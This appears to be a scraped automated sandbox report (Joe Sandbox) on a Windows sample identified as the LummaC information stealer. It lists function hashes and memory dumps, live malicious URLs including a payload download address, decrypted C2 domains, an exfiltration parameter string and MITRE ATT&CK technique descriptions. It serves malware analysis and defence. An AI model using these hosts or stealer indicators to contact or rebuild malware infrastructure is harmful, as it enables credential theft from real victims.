Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 859e8e920f06ce866da40af53a341799a2d68f98771528a0a9ef5b454dee9830
Instruction ID: 8db09b8f3496e7bf0761bc732ecf1b5e99f47a64e3774a11a6be1c9366a28844
Opcode Fuzzy Hash: 859e8e920f06ce866da40af53a341799a2d68f98771528a0a9ef5b454dee9830
Instruction Fuzzy Hash: EE21E5A3E5153107F35448B9C9A9362A6829BD1321F2F82798F1CABBC9D87E5C0A42C4

Function 0661D08C Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4148be161498ec150d34fd65e6237be09eeda0161d2154a971b26c88ef150498
Instruction ID: 22317c8691177b600765045982a770586d5772eb8604c31d30df3ab6af9f8fdd
Opcode Fuzzy Hash: 4148be161498ec150d34fd65e6237be09eeda0161d2154a971b26c88ef150498
Instruction Fuzzy Hash: 98215EB3F5126447F3544836DC6836665839BD1724F2F82399EA8AB7C5DCBE5C074284

Function 06648BF7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40184ba7bd5491c33a5472e55ad9bd4d20072a2087efc88aa9b411154022fa5f
Instruction ID: 3a7cff6482c5f991f000db5779999df88226611f5ea6baf243f7cdf68b157ae6
Opcode Fuzzy Hash: 40184ba7bd5491c33a5472e55ad9bd4d20072a2087efc88aa9b411154022fa5f
Instruction Fuzzy Hash: D22156B7F1152107F3984829CCA93A6A243A7D9314F2F823D8F5E6BBC6D97D4C0912C4

Function 066173E1 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d473c642246d23a985ec3fe2bf695a9427f04a57bdb517680db8db6029adce52
Instruction ID: dc3526f962cd8210f5af778cabf48609f024458a9f3a1851757b8ce833d890f5
Opcode Fuzzy Hash: d473c642246d23a985ec3fe2bf695a9427f04a57bdb517680db8db6029adce52
Instruction Fuzzy Hash: E8211CF3F1152547F3544829CC283A2A24397E5321F3F82798E58ABBCADC7E9C0A56C5

Function 0667047A Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2720296044.000000000660A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: true

Associated: 00000000.00000002.2719915304.0000000006600000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720067142.0000000006602000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720247030.0000000006606000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000067A3000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068B0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C0000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2720296044.00000000068C2000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56563b868dfdbe8b3561c4ff92fbdc703a8b1fb3aa7c0d2d58235d018d0c5d08
Instruction ID: c9d3f0b4d6e0725cd6d2ad87419714f1e8211b1f6b43610f666cc67d556d3d21
Opcode Fuzzy Hash: 56563b868dfdbe8b3561c4ff92fbdc703a8b1fb3aa7c0d2d58235d018d0c5d08
Instruction Fuzzy Hash: A7117CB3F1162447F3584939DC98356668397EA320F2B43788B3C6B7C5DC3E5C0A4280

Source: https://cook-rain.sbs/apip;	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/5	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/Ye	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeH	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/apiDef	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/nt	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/Za	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apigs	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/A4ghIs	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/hE	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/SY	Avira URL Cloud: Label: malware

Source: 00000000.00000002.2713827163.0000000000A61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.2713827163.0000000000A61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.2713827163.0000000000A61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.2713827163.0000000000A61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.2713827163.0000000000A61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.2713827163.0000000000A61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2713827163.0000000000A61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2713827163.0000000000A61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2713827163.0000000000A61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2713827163.0000000000A61000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre